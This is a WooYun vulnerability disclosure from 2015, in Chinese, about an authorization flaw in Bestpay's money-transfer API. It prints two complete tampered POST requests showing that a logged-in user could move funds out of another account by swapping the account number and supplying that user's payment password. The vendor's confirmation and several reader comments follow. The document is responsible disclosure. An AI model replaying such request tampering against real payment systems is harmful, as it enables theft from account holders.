当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-090521

漏洞标题：翼支付某功能设计不当(可影响他人账户资金安全)

相关厂商：bestpay.com.cn

漏洞作者： 蜉蝣

提交时间：2015-01-07 19:06

修复时间：2015-02-21 19:08

公开时间：2015-02-21 19:08

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-07： 细节已通知厂商并且等待厂商处理中
2015-01-08： 厂商已经确认，细节仅向厂商公开
2015-01-18： 细节向核心白帽子及相关领域专家公开
2015-01-28： 细节向普通白帽子公开
2015-02-07： 细节向实习白帽子公开
2015-02-21： 细节向公众公开

简要描述：

给个20好不好呢？强烈推荐去做个乌云众测，漏洞狠多
翼支付设计不当可窃取他人账户资金

详细说明：

转账给其他人时，登陆的账号是用户甲，修改甲转账时候的POST包，改成如下 乙转给甲1.8元，生成交易单号

POST /MEPF_INF2/httppost?ran31=1420620640000?ran67=1420620697000 HTTP/1.1
Host: client.bestpay.com.cn
Connection: keep-alive
Content-Length: 380
Origin: file://
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; zh-cn; GT-I9100G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN, en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, gb2312, gbk, *;q=0.7
method=predictTransfer&encrypt=&timestamp=000003&sessionkey=&v=000001&sig=&PRODUCTNO=用户乙&TRANSFERTYPE=8&SOURCEBANKCARDNO=&SOURCEACCOUNTNAME=&SOURCEIDTYPE=&SOURCEID=&DESTBANKCARDNO=&DESTACCOUNTNAME=&DESTIDTYPE=&DESTID=&DESTPRODUCTNO=用户甲&TXNAMOUNT=180%7C0&PARTNERID=000016900000&LOCATION=40&CUSTOMERNAME=&TXNPASSWD=&DESTCUSTOMERNAME=&TRANSREASON=&TXNAMOUNTFLAG=1%7C2


付款时候,依旧修改POST包，加上用户乙的支付密码，成功在不登陆用户乙的情况下，从乙账户里偷走1.8元

POST /MEPF_INF2/httppost?ran31=1420620640000?ran67=1420620697000?ran93=1420620754000 HTTP/1.1
Host: client.bestpay.com.cn
Connection: keep-alive
Content-Length: 454
Origin: file://
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Linux; U; Android 4.0.4; zh-cn; GT-I9100G Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Accept-Encoding: gzip,deflate
Accept-Language: zh-CN, en-US
Accept-Charset: utf-8, iso-8859-1, utf-16, gb2312, gbk, *;q=0.7
method=transfer&encrypt=&timestamp=000004&sessionkey=&v=000001&sig=&PRODUCTNO=用户乙&TXNPASSWD=用户乙支付密码&TRANSFERTYPE=8&SOURCEBANKCARDNO=&SOURCEACCOUNTNAME=&SOURCEIDTYPE=&SOURCEID=&DESTBANKCARDNO=&DESTACCOUNTNAME=&DESTIDTYPE=&DESTID=&DESTPRODUCTNO=用户甲&TXNAMOUNT=180%7C0&PARTNERID=000016900000&PARTNERORDERID=2015010793993881&ORDERID=150107068465925&LOCATION=40&CUSTOMERNAME=&DESTCUSTOMERNAME=&TRANSREASON=%E6%97%A0&TXNAMOUNTFLAG=1%7C2

漏洞证明：

Screenshot_2015-01-07-17-03-34.png

仅测试转账，其他还有几处存在平行权限越权。

修复方案：

限制，争取干掉支付宝。能有个小礼品就更好了

版权声明：转载请注明来源 蜉蝣@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2015-01-08 09:59

厂商回复：

感谢 蜉蝣 白帽子的辛苦检测，经验证后该问题确实存在，由于他人账户资金仍受支付密码保护，故给Rank 15。目前已准备申请奖励，再次感谢 蜉蝣 ！！！

最新状态：

暂无

漏洞评价：

评论

  1. 2015-01-08 00:19 | CplusHua ( 普通白帽子 | Rank:238 漏洞数:33 | 乌云奖金:-1)

    难道楼主舍得都提交出来？那一片漏洞？

  2. 2015-01-08 09:00 | 孩子不哭站着撸 ( 路人 | Rank:22 漏洞数:3 | 左手撸站，右手撸管)

    说洞多，你都提出来呗，瞎逼逼个毛线。

  3. 2015-01-28 13:36 | luwikes ( 普通白帽子 | Rank:512 漏洞数:77 | 潜心学习~~~)

    赞

  4. 2015-01-29 10:44 | BMa ( 普通白帽子 | Rank:1776 漏洞数:200 )

    这种逻辑有意思